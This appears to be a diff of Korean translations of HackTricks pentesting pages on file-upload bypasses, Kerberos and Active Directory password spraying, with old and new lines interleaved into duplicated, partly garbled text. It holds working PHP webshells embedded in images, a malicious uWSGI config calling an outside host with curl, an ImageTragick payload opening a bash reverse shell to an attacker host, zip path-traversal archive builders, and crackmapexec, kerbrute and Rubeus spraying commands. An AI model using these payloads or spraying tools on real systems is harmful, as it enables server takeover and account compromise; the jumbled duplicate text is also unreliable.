- Content-Type 검사 우회: 요청의 **Content-Type** 헤더 값을 _image/png_, _text/plain_, _application/octet-stream_ 등으로 설정해보세요.
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **magic number** 검사 우회: 파일 시작 부분에 실제 이미지의 바이트를 추가해 `file` 명령을 혼동시키거나, 셸을 이미지 **메타데이터**에 삽입하세요:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 직접 페이로드로 조작할 수도 있습니다:\
또는 페이로드를 이미지에 직접 삽입할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 이미지에 **압축**이 적용되는 경우(예: PHP-GD 같은 라이브러리를 사용할 때) 위 기법들은 무용지물이 될 수 있습니다. 이런 경우 **PLTE chunk** [**기법 (링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- 이미지에 **압축(compression)** 이 적용되는 경우(예: PHP-GD 같은 표준 라이브러리를 사용하는 경우) 위의 기법들이 동작하지 않을 수 있습니다. 이럴 때는 **PLTE chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 PHP-GD의 `imagecopyresized` 또는 `imagecopyresampled` 같은 함수로 **이미지 리사이즈**를 수행하는 경우가 있습니다. 이럴 때는 **IDAT chunk** [**기법 (링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 이용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- 웹 페이지가 이미지를 **리사이징(resizing)** 할 수도 있습니다(예: PHP-GD의 `imagecopyresized` 또는 `imagecopyresampled` 사용). 이 경우에도 **IDAT chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용하면 압축을 통과하는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD의 `thumbnailImage` 함수를 사용하는 리사이즈를 견디는 페이로드를 만드는 다른 기법도 있습니다. 또는 **tEXt chunk** [**기법 (링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 견디는 텍스트를 삽입할 수 있습니다.
- 이미지 리사이징을 통과하는 또 다른 기법으로 PHP-GD의 `thumbnailImage` 함수를 대응하는 방법이 있습니다. 또는 **tEXt chunk** [**기법(링크)**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)를 사용해 압축을 통과하는 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 기타 트릭
### 점검할 기타 트릭
- 이미 업로드된 파일의 이름을 **변경(rename)**할 수 있는 취약점을 찾아보세요 (확장자 변경).
- 백도어를 실행하기 위해 **Local File Inclusion** 취약점을 찾아보세요.
- **정보 유출 가능성**:
1. 같은 파일을 **여러 번** (동시에) 업로드해보세요.
2. 이미 존재하는 **파일명** 또는 **폴더명**과 같은 이름으로 업로드해보세요.
3. 파일명을 `"."`, "..", 또는 "..."로 업로드해보세요. 예: Windows의 Apache에서 애플리케이션이 "/www/uploads/"에 업로드하면, "." 파일명은 "/www/"에 "uploads"라는 파일을 생성할 수 있습니다.
4. NTFS에서 삭제하기 어려운 파일(예: **"…:.jpg"**)을 업로드해보세요. (Windows)
5. Windows에서 파일명에 `|<>*?”` 같은 **유효하지 않은 문자**를 포함해 업로드해보세요. (Windows)
6. CON, PRN, AUX, NUL, COM1... 같은 **예약된(금지된) 이름**을 사용해 Windows에 업로드해보세요.
- 실수로 피해자가 열었을 때 **코드가 실행되는 .exe**나 덜 의심스러운 **.html**을 업로드하는 것도 시도해보세요.
- 업로드된 파일의 이름을 **rename** 할 수 있는 취약점을 찾아보세요(확장자 변경).
- Local File Inclusion 취약점을 찾아 백도어를 실행하세요.
- **가능한 정보 유출**:
1. 동일한 파일을 **동시에 여러 번** 업로드해보세요(같은 이름으로).
2. 이미 존재하는 **파일명** 또는 **폴더명**으로 파일을 업로드해보세요.
3. 파일명을 ".", "..", 또는 "…"로 업로드해보세요. 예를 들어, Windows의 Apache에서 애플리케이션이 업로드 파일을 "/www/uploads/" 디렉터리에 저장하면, "." 파일명은 "/www/" 디렉터리에 "uploads"라는 파일을 생성할 수 있습니다.
4. NTFS에서 삭제하기 어려운 파일(예: "…:.jpg")을 업로드해보세요. (Windows)
5. 파일명에 Windows에서 유효하지 않은 문자(`|<>*?”`)를 포함한 파일을 업로드해보세요. (Windows)
6. CON, PRN, AUX, NUL, COM1... 등과 같은 예약된(금지된) 이름을 사용해 Windows에 파일을 업로드해보세요.
- 실행 가능한 파일(.exe)이나 덜 의심스러운 .html 파일을 업로드해 피해자가 우연히 열었을 때 코드가 실행되도록 해보세요.
### 특수 확장자 트릭
PHP 서버에 파일을 업로드하려 [코드 실행을 위한 **.htaccess** 트릭](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)을 확인하세요.\
ASP 서버에 업로드한다면 [코드 실행을 위한 **.config** 트릭](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)을 확인하세요.
PHP 서버에 파일을 업로드하려는 경우, [코드 실행을 위한 **.htaccess** 트릭을 확인하세요](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
ASP 서버에 업로드하려는 경우, [코드 실행을 위한 **.config** 트릭을 확인하세요](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 자바의 `.jar`와 유사하지만 php용이며, **php 파일처럼 사용**될 수 있습니다(php로 실행하거나 스크립트에 include).
`.inc` 확장자는 종종 import 용도의 php 파일에 사용되므로, 어떤 경우에는 이 확장자가 실행되도록 허용되었을 수 있습니다.
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **php 파일처럼 사용**될 수 있습니다(php로 실행하거나 스크립트에 포함하여 사용 가능).
`.inc` 확장자는 가끔 파일을 **include/import** 하기 위한 php 파일로 사용됩니다. 따라서 어떤 상황에서는 이 확장자가 실행되도록 허용되어 있을 수 있습니다.
## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있다면 [새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서, 다음 이미지에서 언급된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 셸을 기대할 수 있습니다!
Jetty 서버에 XML 파일을 업로드할 수 있다면 [새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 아래 이미지에서 설명된 것처럼 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하면 쉘을 기대할 수 있습니다!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
이 취약점에 대한 자세한 분석은 원본 리서치를 확인하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
이 취약점에 대한 상세한 분석은 원문 연구를 참고하세요: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있을 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)` 형식으로 사용되는 '@' 연산자는 파일 내용을 포함하기 위해 설계되었습니다. uWSGI가 지원하는 여러 스킴 중에서 "exec" 스킴은 프로세스 표준 출력에서 데이터를 읽을 수 있게 하며, `.ini` 구성 파일이 처리될 때 이를 조작하면 Remote Command Execution 또는 Arbitrary File Write/Read에 악용될 수 있습니다.
Remote Command Execution (RCE) 취약점은 `.ini` 설정 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 설정 파일은 "magic" 변수, 플레이스홀더 및 연산자를 포함하는 특정 문법을 사용합니다. 특히 `@(filename)`처럼 사용되는 '@' 연산자는 파일 내용을 포함하도록 설계되어 있습니다. uWSGI가 지원하는 여러 스킴 중에서 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 `.ini` 설정 파일이 처리될 때 Remote Command Execution 또는 Arbitrary File Write/Read로 악용될 수 있습니다.
다음은 다양한 스킴을 보여주는 악의적인 `uwsgi.ini` 파일 예시를 고려세요:
다음은 다양한 스킴을 보여주는 악의적인 `uwsgi.ini` 파일 예시를 고려해보세요:
```ini
[uwsgi]
; read from a symbol
@ -125,14 +126,15 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
페이로드의 실행은 설정 파일(configuration file)의 파싱 과정에서 발생합니다. 설정이 활성화되어 파싱되려면 uWSGI 프로세스를 재시작해야 하며(잠재적으로는 크래시 후이거나 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어 있어야 합니다. auto-reload 기능이 활성화되어 있으면 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다.
payload의 실행은 구성 파일의 파싱 중에 발생합니다. 구성이 활성화되어 파싱되려면, uWSGI 프로세스는 재시작되어야 합니다(잠재적으로 충돌 후이거나 Denial of Service 공격으로 인해) 또는 파일이 auto-reload로 설정되어야 합니다. auto-reload 기능이 활성화되어 있으면, 변경을 감지했을 때 지정된 간격으로 파일을 다시 로드합니다.
uWSGI의 설정 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 논의된 payload는 이미지나 PDF 같은 바이너리 파일에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
uWSGI의 구성 파일 파싱이 느슨하다는 점을 이해하는 것이 중요합니다. 구체적으로, 논의된 payload는 이미지나 PDF 같은 바이너리 파일에 삽입될 수 있어 잠재적 악용 범위를 더욱 넓힙니다.
## **wget File Upload/SSRF Trick**
어떤 경우 서버가 **`wget`**을 사용해 **파일을 다운로드**하고 사용자가 **URL**을 **지정**할 수 있습니다. 이런 경우 코드가 다운로드된 파일의 확장자가 허용 목록(whitelist)에 포함되어 있는지 검사해서 허용된 파일만 다운로드되도록 할 수 있습니다. 그러나, **이 체크는 우회될 수 있습니다.**\
**최대** 길이의 **파일명**은 **linux**에서 **255**이지만, **`wget`**은 파일명을 **236**자로 자릅니다. 당신은 "A"\*232+".php"+".gif"라는 파일을 다운로드할 수 있는데, 이 파일명은 체크를 우회합니다(이 예에서 ".gif"는 유효한 확장자이므로) 하지만 `wget`은 파일명을 "A"\*232+".php"로 변경합니다.
어떤 경우에는 서버가 **`wget`**으로 **파일을 다운로드**하고 URL을 **지정**할 수 있게 되어 있을 수 있습니다. 이런 경우, 코드가 다운로드되는 파일의 확장자가 허용 목록(whitelist)에 있는지 확인하여 허용된 파일만 다운로드되도록 검사할 수 있습니다. 하지만 **이 검사는 우회될 수 있습니다.**\
linux에서 **filename**의 **최대** 길이는 **255**이지만, **wget**은 파일명을 **236**자로 잘라버립니다. 예를 들어 **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**하면, 이 파일명은 **검사**를 **우회**할 수 있습니다(이 예에서 **".gif"**는 **유효한** 확장자이기 때문). 그러나 `wget`은 파일명을 **"A"\*232+".php"**로 **이름을 변경**합니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -163,7 +165,7 @@ Note that **another option** you may be thinking of to bypass this check is to m
### Corrupting upload indices with snprintf quirks (historical)
일부 레거시 upload handlers는 `snprintf()` 또는 유사한 함수를 사용해 single-file upload에서 multi-file 배열을 구성하는데, 이를 속여 `_FILES` 구조를 위조할 수 있습니다. `snprintf()` 동작의 불일치와 잘림(truncation) 때문에 정교하게 제작된 단일 업로드가 서버 측에서 여러 인덱스된 파일로 보일 수 있으며, 엄격한 구조를 가정하는 로직(e.g., multi-file upload로 처리하여 안전하지 않은 분기를 택함)을 혼란시킬 수 있습니다. 오늘날에는 드물지만, 이 “index corruption” 패턴은 가끔 CTF나 오래된 코드베이스에서 다시 나타납니다.
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
## From File upload to other vulnerabilities
@ -222,20 +224,20 @@ ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### 다른 폴더 압축 해제
### 다른 폴더 압축 해제
압축 해제 중 디렉터리에 예상치 못하게 파일이 생성되는 문제는 심각합니다. 처음에는 이러한 설정이 악성 파일 업로드로 인한 OS-level command execution을 방지할 수 있다고 생각할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 directory traversal 기능을 악용하면 우회가 가능합니다. 이를 통해 공격자는 대상 애플리케이션의 decompression 기능을 조작하여 제약을 무력화하고 안전한 업로드 디렉터리를 탈출할 수 있습니다.
압축 해제 중 디렉터리에 파일이 의도치 않게 생성되는 문제는 심각합니다. 이러한 설정이 악성 파일 업로드를 통한 OS 수준의 명령 실행으로부터 보호한다고 처음에는 가정할 수 있지만, ZIP 아카이브 포맷의 계층적 압축 지원과 디렉터리 트래버설 기능은 악용될 수 있습니다. 이를 통해 공격자는 대상 애플리케이션의 압축 해제 기능을 조작하여 제약을 우회하고 안전한 업로드 디렉터리에서 탈출할 수 있습니다.
An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown:
이러한 파일을 제작하기 위한 자동화된 exploit는 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)에서 사용할 수 있습니다. 유틸리티는 다음과 같이 사용됩니다:
```python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
또한, **symlink trick with evilarc** 는 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 대상으로 하는 경우, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이렇게 하면 evilarc가 동작 중에 오류를 겪지 않습니다.
또한 **symlink trick with evilarc** 도 하나의 옵션입니다. 목표가 `/flag.txt` 같은 파일을 겨냥하는 것이라면, 해당 파일을 가리키는 symlink를 시스템에 생성해야 합니다. 이는 evilarc가 동작 중 오류를 발생시키지 않도록 보장합니다.
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드 예입니다:
아래는 악성 zip 파일을 생성하는 데 사용되는 Python 코드 예입니다:
```python
#!/usr/bin/python
import zipfile
@ -253,11 +255,11 @@ zip.close()
create_zip()
```
**압축 악용을 통한 file spraying**
**압축 악용한 file spraying**
자세한 내용은 **원문 게시을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
자세한 내용은 **원문 게시을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수를 통해 전달된 명령을 실행하도록 작성됩니다.
1. **Creating a PHP Shell**: PHP 코드는 `$_REQUEST` 변수로 전달된 명령을 실행하도록 작성됨.
```php
<?php
@ -267,14 +269,14 @@ system($cmd);
}?>
```
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성한 뒤, 이 파일들을 포함하는 zip 아카이브를 만듭니다.
2. **File Spraying and Compressed File Creation**: 여러 파일을 생성하고 이 파일들을 포함한 zip 아카이브를 만듦.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Modification with a Hex Editor or vi**: zip 내부 파일 이름을 vi 또는 hex editor로 변경하여 "xxA"를 "../"로 바꿔 디렉토리 트래버스합니다.
3. **Modification with a Hex Editor or vi**: vi 또는 hex editor로 zip 내부의 파일 이름을 변경해 "xxA"를 "../"로 바꿔 디렉터리 횡단을 수행함.
```bash
:set modifiable
@ -284,40 +286,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
## ImageTragic
콘텐츠를 이미지 확장자로 업로드하면 취약점 **(ImageMagick , 7.0.1-1)** 을 악용할 수 있습니다 (form the [exploit](https://www.exploit-db.com/exploits/39767))
내용을 이미지 확장자로 업로드하면 취약점(**ImageMagick , 7.0.1-1**)을 악용할 수 있습니다 (exploit: [https://www.exploit-db.com/exploits/39767](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## PNG에 PHP Shell 내장
## PNG에 PHP Shell 삽입
PNG 파일의 IDAT chunk에 PHP shell을 내장하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지 리사이징 및 리샘플링에 일반적으로 사용되므로 이 맥락에서 특히 관련이 있습니다. 내장된 PHP shell이 이러한 작업의 영향을 받지 않는다는 점은 특정 상황에서 큰 이점입니다.
PNG 파일의 IDAT chunk에 PHP shell을 삽입하면 특정 이미지 처리 작업을 효과적으로 우회할 수 있습니다. PHP-GD의 `imagecopyresized``imagecopyresampled` 함수는 각각 이미지 크기 조정과 재샘플링에 흔히 사용되므로 이 맥락에서 특히 관련이 있습니다. 임베디드된 PHP shell이 이러한 작업들의 영향을 받지 않는다는 점은 특정 사용 사례에서 중요한 이점입니다.
이 기술의 방법론과 잠재적 응용을 포함한 자세한 탐구는 다음 글에서 확인할 수 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의를 포괄적으로 이해하는 데 도움이 됩니다.
이 기술의 방법론과 잠재적 응용을 자세히 다룬 글은 다음 기사에 수록되어 있습니다: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). 이 자료는 프로세스와 그 의를 포괄적으로 이해하는 데 도움이 됩니다.
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Polyglot Files
## Polyglot 파일
Polyglot files는 사이버보안에서 독특한 도구로, 여러 파일 형식에 동시에 유효하게 존재할 수 있는 카멜레온처럼 동작합니다. 흥미로운 예로 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 작동하는 하이브리드입니다. 이러한 파일 조합은 이 페어링에 국한되지 않으며 GIF와 JS, PPT와 JS 같은 조합도 가능합니다.
Polyglot 파일은 사이버 보안에서 독특한 도구로, 동시에 여러 파일 포맷으로 유효하게 존재할 수 있는 카멜레온 역할을 합니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있는데, 이는 GIF와 RAR 아카이브 둘 다로 작동하는 하이브리드입니다. 이러한 파일은 이 조합에만 국한되지 않으며, GIF와 JS 또는 PPT와 JS 같은 조합도 가능합니다.
polyglot files의 핵심 유용성은 파일 유형 기반으로 파일을 필터링하는 보안 조치를 우회할 수 있다는 점에 있습니다. 많은 애플리케이션에서는 잠재적으로 위험한 형식(e.g., JS, PHP, 또는 Phar 파일)을 줄이기 위해 JPEG, GIF 또는 DOC 같은 특정 파일 유형만 업로드를 허용하는 경우가 일반적입니다. 그러나 polyglot은 다중 파일 형식의 구조적 조건을 동시에 충족함으로써 이러한 제한을 은밀히 우회할 수 있습니다.
Polyglot 파일의 핵심 유용성은 파일 유형 기반으로 파일을 검사하는 보안 조치를 회피할 수 있다는 점입니다. 여러 애플리케이션에서 일반적으로 업로드를 허용하는 파일 유형을 JPEG, GIF, DOC 등으로 제한하여 JS, PHP, Phar 파일처럼 잠재적으로 위험한 포맷의 위험을 줄입니다. 그러나 polyglot은 여러 파일 형식의 구조적 기준을 동시에 만족시켜 이러한 제한을 은밀히 우회할 수 있습니다.
적응성에도 불구하고 polyglots는 한계에 봉착하기도 합니다. 예를 들어, polyglot이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 겸할 수는 있지만, 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하다면 polyglot의 단순한 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
적응성이 뛰어나더라도 polyglot은 한계가 있습니다. 예를 들어 polyglot이 PHAR 파일 (PHp ARchive)과 JPEG를 동시에 포함하더라도 업로드 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용 가능한 확장자에 대해 엄격하면 구조적 이중성만으로는 업로드를 보장하지 못할 수 있습니다.
### PDF인 것처럼 유효한 JSON 업로드
허용되지 않은 경우에도 PDF 파일로 위조하여 유효한 JSON 파일을 업로드함으로써 파일 타입 탐지를 회피하는 방법 (기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
허용되지 않은 경우에도 PDF로 가장하여 유효한 JSON 파일을 업로드해 파일 유형 탐지를 회피하는 방법(기법 출처: **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
- **`mmmagic` library**: 처음 1024바이트 내에 `%PDF` 매직 바이트가 있으면 유효하다고 판단됩니다 (예시는 해당 글 참조).
- **`pdflib` library**: JSON의 필드 안에 가짜 PDF 포맷을 추가해 라이브러리가 이를 PDF로 인식하게 합니다 (예시 참조).
- **`file` binary**: 파일에서 최대 1048576 바이트까지 읽을 수 있습니다. 따라서 JSON을 그보다 크게 만들어 `file`이 내용을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 PDF로 인식합니다.
- **`mmmagic` library**: 처음 1024바이트 안에 `%PDF` 매직 바이트가 있으면 유효합니다(예시는 포스트 참조)
- **`pdflib` library**: JSON의 field 내부에 가짜 PDF 형식을 추가해 라이브러리가 이를 PDF로 인식하게 만듭니다(예시는 포스트 참조)
- **`file` binary**: 파일에서 최대 1048576바이트까지 읽을 수 있습니다. 이보다 큰 JSON을 만들어 file이 내용을 JSON으로 파싱하지 못하게 한 뒤, JSON 내부에 실제 PDF의 초기 부분을 넣으면 file이 이를 PDF로 인식합니다
## 참고자료
## References
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)

View File

@ -1,7 +1,7 @@
# Kerberos 인증
# Kerberos Authentication
{{#include ../../banners/hacktricks-training.md}}
**다음 훌륭한 글을 확인하세요:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**다음의 훌륭한 게시물을 확인하세요:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,16 +5,16 @@
## **Password Spraying**
일단 여러 개의 **valid usernames**를 찾으면, 발견한 각 사용자에 대해 가장 흔한 **common passwords**를 시도해볼 수 있습니다(환경의 password policy를 염두에 두세요).\
기본적으로 **default** **minimum** **password** **length**는 **7**입니다.
몇 개의 **valid usernames**를 찾았다면 발견한 각 사용자에 대해 가장 흔한 **common passwords**를 시도해 볼 수 있습니다 (환경의 password policy를 염두에 두세요).\
By **default** the **minimum** **password** **length** is **7**.
일반적인 **usernames** 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
여러 번 잘못된 **passwords**를 시도하면 일부 계정이 **lockout**될 수 있다는 점에 유의하세요(기본값은 대략 10회 초과).
주의: 여러 번의 잘못된 시도로 인해 **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### Get password policy
### password policy 가져오기
domain user로서 user credentials나 shell이 있다면 다음과 같이 **get the password policy with**:
user credentials가 있거나 domain user로서 shell이 있는 경우 다음과 같이 **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Linux(또는 모든 플랫폼)에서의 Exploitation
### Exploitation from Linux (또는 모두)
- **crackmapexec** 사용:
```bash
@ -47,20 +47,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(잠금 방지를 위해 시도 횟수를 지정할 수 있습니다):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(차단을 피하기 위해 시도 횟수를 지정할 수 있습니다):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) 사용 (python) - 권장하지 않음. 가끔 작동하지 않음
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) 사용 - 권장하지 않음. 때때로 작동하지 않음
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- **Metasploit**의 `scanner/smb/smb_login` 모듈을 사용하여:
- **Metasploit**의 `scanner/smb/smb_login` 모듈을 사용:
![](<../../images/image (745).png>)
- **rpcclient**를 사용하여:
- **rpcclient** 사용:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +69,7 @@ done
```
#### Windows에서
- brute module 포함 버전의 [Rubeus](https://github.com/Zer1t0/Rubeus):
- brute module 포함 버전의 [Rubeus](https://github.com/Zer1t0/Rubeus) 사용:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,20 +77,20 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (기본적으로 도메인에서 사용자 목록을 생성할 수 있으며 도메인으로부터 암호 정책을 가져와 그에 따라 시도 횟수를 제한합니다):
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)을 사용하면 (기본적으로 도메인에서 사용자 계정을 생성하고 도메인에서 비밀번호 정책을 가져와 그에 따라 시도 횟수를 제한합니다):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)를 사용하여
- 다음과 함께 [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
```
Invoke-SprayEmptyPassword
```
### "Password must change at next logon" 계정 식별 및 탈취 (SAMR)
저소음 기법으로는 spray a benign/empty password를 시도하여 STATUS_PASSWORD_MUST_CHANGE를 반환하는 계정을 포착하는 것이다. 이는 비밀번호가 강제로 만료되어 이전 비밀번호를 모른 채로 변경할 수 있음을 나타낸다.
저소음 기법은 무해하거나 빈 비밀번호로 spray를 시도하여 STATUS_PASSWORD_MUST_CHANGE를 반환하는 계정을 포착하는 것이다. 이는 비밀번호가 강제로 만료되어 기존 비밀번호를 알지 못해도 변경할 수 있음을 나타낸다.
작업 흐름:
- 사용자 열거 (RID brute via SAMR)로 대상 목록을 구성:
워크플로우:
- 대상 목록을 만들기 위해 Enumerate users (RID brute via SAMR)을 수행:
{{#ref}}
